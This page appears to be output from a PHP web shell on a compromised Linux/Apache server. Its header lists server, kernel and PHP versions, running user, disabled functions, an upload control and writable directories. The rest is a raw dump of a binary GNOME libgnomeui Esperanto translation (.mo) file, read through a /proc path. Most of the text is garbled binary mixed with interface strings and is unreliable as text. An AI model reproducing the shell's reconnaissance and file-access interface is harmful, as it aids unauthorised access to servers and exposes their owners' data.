KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /proc/21585/root/usr/share/locale/eo/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/21585/root/usr/share/locale/eo/LC_MESSAGES/libgnomeui-2.0.mo
#4	L`au*4JPYp#+<Ml
1

(5I`y%$7Ke}H(7*G%r

	44O
	%+$?d{	
=c 0   z!
!N!!!
"
""
"	("y2""
"
"
""""
	# #
8#C#&c########
$
'$
2$%=$c$k$q$v$B$$$$
%"%2%>%E%Y%^%k%z%%
%%%'%%&& &<&L&c&~&&&&&&&&''('%9'_'g's'+'' ''0'!(-(9(E(W(c(((0((	(	()5)U)%l)))
)
)))	))
* *+,3,(D,m,,,,%,,9-6H-(------!-!.:.M.
U.
c.q..	...R.R
/
`/%k/"//'///0"0	*040/P0T0/0
11"!1(D1,m1.11
111	112222!2(21272=2C2H2N2
W2b2	i2s22222
2	2
22
2222	2A2,3.31393;3D?344
444"455D<5555^566/6?6	H6	R6\6u6666
6	66	6067,757>7R7m7!77777!7848J8_8|88F8889	999,+9X9'j9*9
999
99::7:=:	F:
P:6[:3:
:::
:;5;U;.u;.;+;";"<%.<
T<_<=<69=p=y=>!>;.>j>>>>>>>w>`?x?????
?
?!?
?$	@-.@\@v@~@@&@&@ @
A	+A'5A]AeAlAtACAAA	AB(B8BJBSBdBiByBBBBB*B+B&C
.C<C+QC}CC"CC
CCCC
D"D>DVDoDD,DDDD+D+E"2EUE5hEE
E
EEEEFF-,FZFgFxF(F4FF'G)GGGZGoGGG
GGH HH"II'IJJ0JHJZJyJAJ-J)K,K2K9KLK"fK%K'KK	KK
LL&L
+L6LMLWeLXL
M(!M#JMnM1MMMMM	MM0NWKN3N	NN"N+OCOaOOOOOOOOO	OO	O	OOOPPPP
*P5P	=PGPMPSP
[P	fPpP|PPPPP	P	P
PCPQQQQQ9I.DX
ON?;x0fh	W`m"3z !tcvJ|46=<~]{R8 H*([/$
^jwLd,TEpy}SelP#a\QiG>7'-A
#)o2%sq_+kgu
&bFrY5"V1Cn!B@ZK:MU	  - OK? (yes or no) (press return) (yes or no)%a %b %d %T %YA logo for the about boxA preview of the image currently specifiedA single author entryA single documenter entryAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZzAboutAbout %sAbout this applicationAn error occurred while loading or saving configuration information for %s. Some of your configuration settings may not work properly.App IDAuthentication RequiredAuthor entryAuthorsBackground ColorBackground colorBackground color as a GdkColorBackground color is setBackground color setBrowseBrowse Dialog TitleBulleted ListC_learC_reditsCalendarCan't find an hbox, using a normal file selectionCancel LogoutChild Item 1Child Item 2Clear the selectionClose the current fileClose the current windowColor used to draw the linkComments about the programComments stringConfigure the applicationCopy the selectionCopyright information for the programCopyright stringCreate New _WindowCreate a new windowCreate a progress widget.Create a status widget.CreditsCredits to the translators. This string should be marked as translatableCu_tCut the selectionDISPLAYDateDateEdit FlagsDefault PathDefault path for the Browse file window.Directory EntryDirectory that will be searched for icons.Disable connection to session managerDo PreviewDocumented byDocumenter entryDocumentersERROR: End World HungerEnd the current gameErrorFi_lesFi_les/FilenameFilename that should be displayed in the file entry.Filename that should be displayed in the icon entry.Find Ne_xtFlags for how DateEdit looksFontFont nameFont size for labelFont size for label in font info modeForeground color of the titleForeground color of the title as a GdkColorForeground color of the title is setGNOME GConf UI SupportGNOME GUI LibraryGTK entryGet a hint for your next moveGnomeEntryGnomeEntry that the file entry uses for entering filenames.  You can use this property to get the GnomeEntry if you need to modify or query any of its parameters.GnomeIconSelection: '%s' does not exist or is not a directoryGnomeIconSelection: couldn't open directory '%s'GtkEntryGtkEntry that the file entry uses for entering filenames.  You can use this property to get the GtkEntry if you need to modify or query any of its parameters.Has ProgressHas StatusHere you should enter the name of the directory where icon images are located.Hint for item 1Hint for item 2History IDHistory idIDIcon SelectorIcon pathIcon picker dialog.  You can use this property to get the GtkDialog if you need to modify or query any of its properties.Icon selection dialogIcon selectorIcons OnlyImage PreviewIndentInformationInitial TimeInteractivityLevel of user activity required.Link colorList of authors of the programsList of people documenting the programLoading Icons...LogoLogo Background ColorLogo Background colorLogo Background color as a GdkColorLogo Background color is setLogo Background color setLogo imageLower HourLower hour in the time popup selectorMessageModalModeModify the file's propertiesMultiple segmentation faults occurred; can't display error dialog
Name of the selected fontNo IconNo ImageNumbered ListOpen a dialog to specify the colorOpen a filePREFIXPaste the clipboardPathPath to filePause the gamePick a FontPick a colorPicker dialogPixmap DirectoryPlease pick the icon you want.Pop up a file selector to choose a filePrefere_ncesPreviewPreview textPreview text shown in the dialogPrint S_etup...Print the current filePriority Text Beside IconsProgram nameProgram versionProgressQuestionQuit the applicationR_eplace...Received invalid color data
Redo the undone actionRedo the undone moveReplace a stringRestart the gameRevert to a saved version of the fileSans 14Save _As...Save the current fileSave the current file with a different nameScoreSearch again for the same stringSearch for a stringSegmentation fault!
Cannot display crash dialog
Select DateSelect TimeSelect _AllSelect everythingSelect fileSelect the date from a calendarSelect the time from a listSession managementSetup the page settings for your current printerShow FinishShow HelpShow sizeShow size in font info modeShow the 'Finish' button instead of the 'Next' buttonShow the 'Help' buttonSpecify prefix of saved configurationSpecify session management IDStart a new gameTable BordersTable FillTextText Below IconsText OnlyThe GNOME Session Manager (process %d) has crashed
due to a fatal error (%s).
When you close this dialog, all applications will close and your session will exit.
Please save all your files before closing this dialog.The GTK entryThe URL that GnomeHRef activatesThe application "%s" attempted to change an aspect of your configuration that your system administrator or operating system vendor does not allow you to change. Some of the settings you have selected may not take effect, or may not be restored next time you use the application.The application ID stringThe initial timeThe mode of operation of the font pickerThe name of the programThe selected GtkFontThe text on the buttonThe time currently selectedThe title of the selection dialog boxThe version of the programThis button will open a window to let you select an icon.This button will take you to the URI that it displays.This dialog box lets you select an icon.TimeTitleTitle ForegroundTitle Foreground ColorTitle Foreground color setTitle for the Browse file dialog.Title for the Browse icon dialog.Title of the druidTop TenTop WatermarkTranslated byTranslator creditsURLUn-IndentUndo the last actionUndo the last moveUnique identifier for the file entry.  This will be used to save the history list.Unique identifier for the icon entry.  This will be used to save the history list.Upper HourUpper hour in the time popup selectorUsage: gnome_segv2 appname signum
Use font in labelUse font in the label in font info modeUserView help for this applicationView the scoresWarningWarning: Watermark image for the topWhether the Browse file window should be modal.Whether the file entry is being used to enter directory names or complete filenames.Whether the pixmap entry should have a preview.Written byX display to useYou must log in to access "%s".
%sYour HTTP Proxy requires you to log in.
Your password will be transmitted encrypted.Your password will be transmitted unencrypted._About_Browse..._Close_Close This Window_Contents_Copy_Details_Edit_Edit/_File_File/_Find..._Game_Help_Hint_New_New/_Open..._Password:_Paste_Print..._Properties_Quit_Redo_Revert_Save_Scores..._Settings_Settings/_Undo_Username:_View_View/_Windows_Windows/gnome_date_edit_get_date deprecated, use gnome_date_edit_get_timennosans 12yyesProject-Id-Version: libgnomeui 2.3.3
Report-Msgid-Bugs-To: 
POT-Creation-Date: 2006-01-26 15:43+0100
PO-Revision-Date: 2003-07-01 16:42-0500
Last-Translator: Charles Voelger <cvoelger@dweasel.com>
Language-Team: Esperanto <eo@li.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
 - bone? (jes aŭ ne) (premu 'return') (jes aŭ ne)%a %b %d %T %YInsigno por la Pri-dialogoAntaŭrigardo de la difinita bildoUnunura aŭtora enirejoUnunura dokumentanta enirejoAaBbCcĈĉDdEeFfGgĜĝHhĤĥIiJjĴĵKkLlMmNnOoPpRrSsŜŝTtUuŬŭVvZzPriPri %sInformoj pri tiu aplikaĵoEraro okazis dum la ŝarĝo aŭ konservo de la agordo de %s. Via agordo ne estas probable bonaAplikaĵa identigiloAŭtentigo necesitaAŭtora enirejoAŭtorojFonkoloroFonkoloroFonkoloro, kiel GdkColorFona koloro estas difinitaFonkoloro difinitaRigarduRigardodialoga titoloKuglita listoFor_viŝuD_ankojKalendaroNe trovis hbox, uzanto de normala dosierelektiloRezignu AdiaŭiIdoero 1Idoero 2Forviŝu la elektonFermu la aktualan dosieronFermu la aktualan fenestronKoloro uzita por desegni la ligonKomentoj pri la programoKomenta literĉenoAgordu la aplikaĵonKopiu la elektonKopirajta informo por la programoKopirajta literĉeno_Kreu novan fenestronKreu novan fenestronKreas progresan fenestraĵonKreas statan fenestraĵonDankojDankoj al tradukantoj. Tiu literĉeno devus markiĝita kiel tradukeblaE_ltonduEltondu la elektonVIDIGILODatoDateEdit flagojApriora padoApriora pado por la rigardodosiera fenestro.Dosieruja enirejoŜerĉita dosierujo por la piktogramoj.Elŝaltu konekton al la sesia administriloAntaŭrigarduDokumento deDokumentanta enirejoDokumentantojERARO : Haltu malsaton en la mondoFino de la aktuala ludoEraro_Dosiero_Dosiero/DosiernomoDosiernomo, kiu devas montriĝi en la dosiera enirejo.Dosiernomo kiu montriĝus en la piktograma enirejo.Trovu _sekvanFlagoj de DateEdit aspektoTiparoTiparonomoTiparograndeco por la etikedoTiparograndeco por la etikedo ĉe tiparinformoreĝimoAntaŭplana koloro de la titoloAntaŭplana koloro de la titolo, kiel GdkColorAntaŭplana koloro de la titolo estas difinitaSubteno de uzantinterfaco de GConf de GNOMEGrafika interfaca libraro de GNOMEGTK enirejoRicevi helpindikon por via sekva movoGnomeEntryDosierenirejo GnomeEntry uzita por eniri dosiernomojn. Vi povas uzi tiun econ por ricevi la GnomeEntry se vi bezonas ŝanĝi aŭ demandi iun el ĝiaj ecoj.GnomeIconSelection : '%s' ne ekzistas aŭ ne estas dosierujonGnomeIconSelection : ne povas malfermi dosierujon '%s'GtkEntryDosierenirejo GtkEntry uzita por eniri dosiernomojn. Vi povas uzi tiun econ por ricevi la GtkEntry se vi bezonas ŝanĝi aŭ demandi iun el ĝiaj ecoj.Havas progresonHavas statonĈi tie, vi devus eniri la dosierujonomon de la piktogramojHelpindiko por ero 1Helpindiko por ero 2Identigilo de historioIdentigilo de historioIDPiktograma elektiloPiktogramopadoPiktogramelekta dialogo. Vi povas uzi tiun econ por havi la GtkDialog-on se vi bezonas ŝanĝi aŭ demandi siajn ecojn.Piktogramelekta dialogoPiktograma elektiloNur piktogramojBilda antaŭrigardoDeŝovuInformoKomenca tempoInteraktivecoNivelo de uzantaktiveco bezonita.LigokoloroListo de la aŭtoroj de la programojListo de la personoj dokumentante la programoŜarĝante piktogramoj...InsignoFonkoloro de la insignoFonkoloro de la insignoFonkoloro de la insigno, kiel GdkColorFonkoloro de la insigno estas difinitaFonkoloro de la insigno difinitaInsigno-bildoSuba horoSuba horo en la tempokonteksta elektiloMesaĝoModalaReĝimoŜanĝu dosierecojnMultobla segmentadaj eraroj okasis, ne povas montri eraro-dialogon
Nomo de la elektita tiparoSen piktogramoSen bildoNombrita listoMalfermu dialogon por specifi la koloronMalfermu dosieronPREFIKSOEnmetu la poŝonPadoPado al dosieroPaŭzu la ludonElektu tiparonElektu unu koloronElekta dialogoPiktograma dosierujoBonvolu elekti vian deziratan piktogramon.Ekaperu dosierelektilon por elekti dosieron_AgordoAntaŭrigardoAntaŭrigarda tekstoAntaŭrigarda teksto montrita en la dialogoPreso-_agordo...Presu la aktualan dosieronPrioritada teksto apud piktogramojProgramnomoProgramversioProgresoDemandoFinu la aplikaĵon_Anstataŭigu...Ricevis nevalidan koloran datenon
Refaru la malfaran agonRefaru la malfaran movonAnstataŭigu literĉenonRelanĉu la ludonRestarigu al konservita versio de la dosieroSans 14Konservu k_iel...Konservu la aktualan dosieronKonservu la aktualan dosieron kun alia nomoPoentoSerĉu denove la saman literĉenonSerĉu literĉenonSegmentada eraro!
Ne povas montri akcidento-dialogon
Elektu datonElektu temponElektu _ĉionElektu ĉionElektu dosieronElektu la daton el kalendaroElektu la tempon el listoSesia administroAgordu la paĝagordon por via aktuala presiloMontru FinanMontru la helponMontru grandeconMontru grandecon ĉe tiparinformoreĝimoMontru la 'Fina' butonon anstataŭ la 'Sekva' butonoMontru la 'Helpo' butononSpecifu prefikson de la konserva agordoSpecifu sesian administran IDLanĉu novan ludonRandoj de la tabelo Plenigo de la tabeloTekstoTeksto sub la piktogramojNur tekstoLa GNOME sesia administrilo (procezo %d) mortis
pro fatala eraro (%s).
Kiam vi fermos tiun dialogon, ĉiuj aplikaĵoj fermiĝos kaj via sesio finiĝos.
Bonvolu konservi viajn dosierojn antaŭ la fermo de tiu dialogo.La GTK enirejoLa URLon, ke GnomeHRef aktivigasLa aplikaĵo "%s" provis modifi aspekton de via agordo, ke via administranto aŭ mastrumosistema vendisto ne permesis modifi. Iu de via selektita agordo ne povas uziĝita aŭ ne povos restariĝi la sekva fojo ke vi volos uzi la aplikaĵon.La aplikaĵa identigila literĉenoLa komenca tempoLa operacia reĝimo de la tiparelektiloLa nomo de la programoLa elektita GtkFontLa teksto sur la butonoLa tempo elektitaLa titolo de la elekta dialogoLa versio de la programoTiu butono malfermos fenestron por lasi al vi elekti piktogramon.Tiu butono eblas aliron al la montrita URI-o.La dialogo lasu al vi elekti piktogramon.TempoTitoloAntaŭplana titoloAntaŭplana titola koloroAntaŭplana titola koloro difinitaTitolo por la rigardodosiera dialogo.Titolo de la rigardopiktograma dialogo.Titolo de la druidoSupra dekSupra filigranoTraduko deDankoj al tradukantojURLomaldeŝovuMalfaru la lastan agonMalfaru la lastan movonUnunura identigilo por la dosierenirejo. Ĝi estos uzata por konservi la historiliston.Ununura identigilo por la piktograma enirejo. Tiu uziĝos por konservi la historiliston.Supra horoSupra horo en la tempokonteksta elektiloUzado : gnome_segv2 appname signum
Uzu tiparon en etikedoUzu tiparon en la etikedo ĉe tiparinformoreĝimoUzantoVidu helpon por tiu aplikaĵoVidu la poentojnAvertoAverto : Filigrana bildo por la altoSe la rigardodosiera fenestro devus esti modala.Se la dosiera enirejo estas uzita por eniri dosierujonomojn aŭ kompletajn dosiernomoj.Se la piktograma enirejo devus havi antaŭrigardon.Skribo deX-vidigilo por uziVi devas saluti por eniri "%s".
%sVia HTTP Prokurilo bezonas, ke vi salutas.
Via pasvorto sendos ĉifrite.Via pasvorto sendos neĉifrite._Pri_Rigardu...F_ermu_Fermu tiun fenestron_Enhavo_Kopiu_Detaloj_Redakto_Redakto/_Dosiero_Dosiero/_Trovu..._Ludo_Helpo_Helpindiko_Nova_Nova/_Malfermu..._Pasvorto:E_nmetu_Presu..._Ecoj_Finu_Refaru_Restarigu_Konservu_Poentoj..._Agordo_Agordo/_Malfaru_Salutnomo:_Rigardo_Rigardo/_Fenestro_Fenestro/gnome_date_edit_get_date malkonsilita, uzu gnome_date_edit_get_timennesans 12jjes

Anon7 - 2021